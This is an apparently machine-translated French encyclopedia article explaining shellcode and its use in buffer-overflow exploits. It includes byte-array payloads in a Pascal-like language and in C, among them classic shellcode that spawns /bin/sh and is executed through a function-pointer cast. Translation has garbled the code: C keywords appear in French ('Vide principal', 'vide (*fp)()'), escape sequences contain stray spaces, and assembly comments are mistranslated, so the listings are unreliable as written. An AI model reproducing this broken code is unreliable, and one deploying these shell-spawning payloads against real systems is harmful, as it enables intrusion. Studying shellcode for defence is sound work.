Code shell
Un shellcode est un ensemble de commandes généralement programmées en langage d'assemblage et transférées à Opcodes (ensemble de valeurs hexadécimales) qui sont généralement injectées dans la pile d'exécution (ou pile) d'un programme pour obtenir la machine sur laquelle il réside pour exécuter le fonctionnement planifié prévu .
Terme
Le terme shellcode dérive de leur objectif général, il s'agissait d'une partie d'un exploit utilisé pour obtenir un shell , c'est actuellement l'objectif le plus courant pour lequel ils sont utilisés.
Exemple de shellcode Pascal
Pour exécuter un shellcode, un langage de niveau supérieur est généralement utilisé, tel que le langage Pascal . Les opcodes obtenus à partir de notre code assembleur sont répertoriés dans un tableau de type byte et chargés dans un prototype à invoquer.
Un exemple de shellcode est le suivant :
Exécution de prototypes ' Variables. Var ShellCode[]: Byte ' Tableau d'octets pour l'OpCode.. Var Prototype:Exec ' Prototype qui exécutera le ShellCode. ' Initialise/charge le ShellCode. ShellCode = [&31,&d2,&b2,&30,&64,&8b,&12,&8b,&52,&0c,&8b,&52,&1c,&8b,&42 _ ,&08,&8b,&72,&20,&8b,&12,&80,&7e,&0c,&33,&75,&f2,&89,&c7,&03 _ ,&78,&3c,&8b,&57,&78,&01,&c2,&8b,&7a,&20,&01,&c7,&31,&ed,&8b _ ,&34,&af,&01,&c6,&45,&81,&3e,&46,&61,&74,&61,&75,&f2,&81,&7e _ ,&08,&45,&78,&69,&74,&75,&e9,&8b,&7a,&24,&01,&c7,&66,&8b,&2c _ ,&6f,&8b,&7a,&1c,&01,&c7,&8b,&7c,&af,&fc,&01,&c7,&68,&79,&74 _ ,&65,&01,&68,&6b,&65,&6e,&42,&68,&20,&42,&72,&6f,&89,&e1,&fe_ ,&49,&0b,&31,&c0,&51,&50,&ff,&d7] 'Nous avons configuré le code du prototype pour qu'il s'exécute. Prototype@ = ShellCode[0]@ ' Nous exécutons le ShellCode. Prototype
Comme on peut le voir, les opcodes sont des valeurs hexadécimales qui sont converties en octets (valeurs entières comprises entre 0 et 255) et que le système d'exploitation comprend comme du code assembleur qu'il exécute.
Exemple de shellcode C
L'exemple suivant montre un shellcode contenu dans un tableau d'un programme écrit en langage C :
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb0\x46" /* mov $0x46,%al */
"\xcd\x80" /* entier $0x80 */
"\x50" /* appuyez sur %eax */
"\x68""/ash" /* appuyez sur $0x6873612f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* appuyez sur %eax */
"\ x53" / * appuyez sur %EBX * /
"\ x89 \ xe1" / * movl% esp,% ecx * /
"\xb0\x0b" /* mouvement $0x0b,%al */
"\xcd\x80" /* entier $0x80 */
;
Nous avons donc qu'un shellcode est un code machine écrit en notation hexadécimale . Ils sont ensuite utilisés dans des programmes écrits en C, comme dans l'exemple de shellcode suivant :
// Shellcode.c
// compiler avec gcc shellcode.c -o shellcode
Vide principal ()
{
((vide (*) (vide))
{
"\ xeb \ x19 \ x31 \ xc0 \ x31 \ xdb \ x31 \ xd2 \ x31 \ xc9"
"\ xb0 \ x04 \ xb3 \ x01 \ x59 \ xb2 \ x21 \ xcd \ x80 \ x31"
"\ xc0 \ xb0 \ x01 \ x31 \ xdb \ xcd \ x80 \ xe8 \ xe2 \ xff"
"\ xff \ xff \ x76 \ x69 \ x73 \ x69 \ x74 \ x61 \ x20 \ x68"
"\x74\x74\x70\x3a\x2f\x2f\x68\x65\x69\x6e"
"\ x7a \ x2e \ x68 \ x65 \ x72 \ x6c \ x69 \ x74 \ x7a \ x2e"
"\x63\x6c\x20\x3d\x29"
}
)();
}
Ou cet autre :
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80" ;
int main()
{
vide (*fp)();
fp = (vide*) &shellcode;
fp();
}
Informations
Les shellcodes doivent être courts afin d'être injectés dans la pile, qui est généralement un petit espace.
Les shellcodes sont utilisés pour exécuter du code en exploitant certaines vulnérabilités du code appelées buffer overflows . Le shellcode est principalement programmé pour permettre à un interpréteur de commandes d'être exécuté sur l'ordinateur infecté.
Il est courant que dans la compilation d'un shellcode des octets nuls soient produits , qu'il faut en éliminer, car ils arrêteraient l'exécution du shellcode. Pour ce faire, le programmeur utilise diverses techniques, comme remplacer les instructions qui génèrent des octets NULL par d'autres qui n'en génèrent pas ou effectuer une opération XOR, passer à des registres plus petits (tels que AH, AL), et ainsi permettre au shellcode d'être réellement injectable. .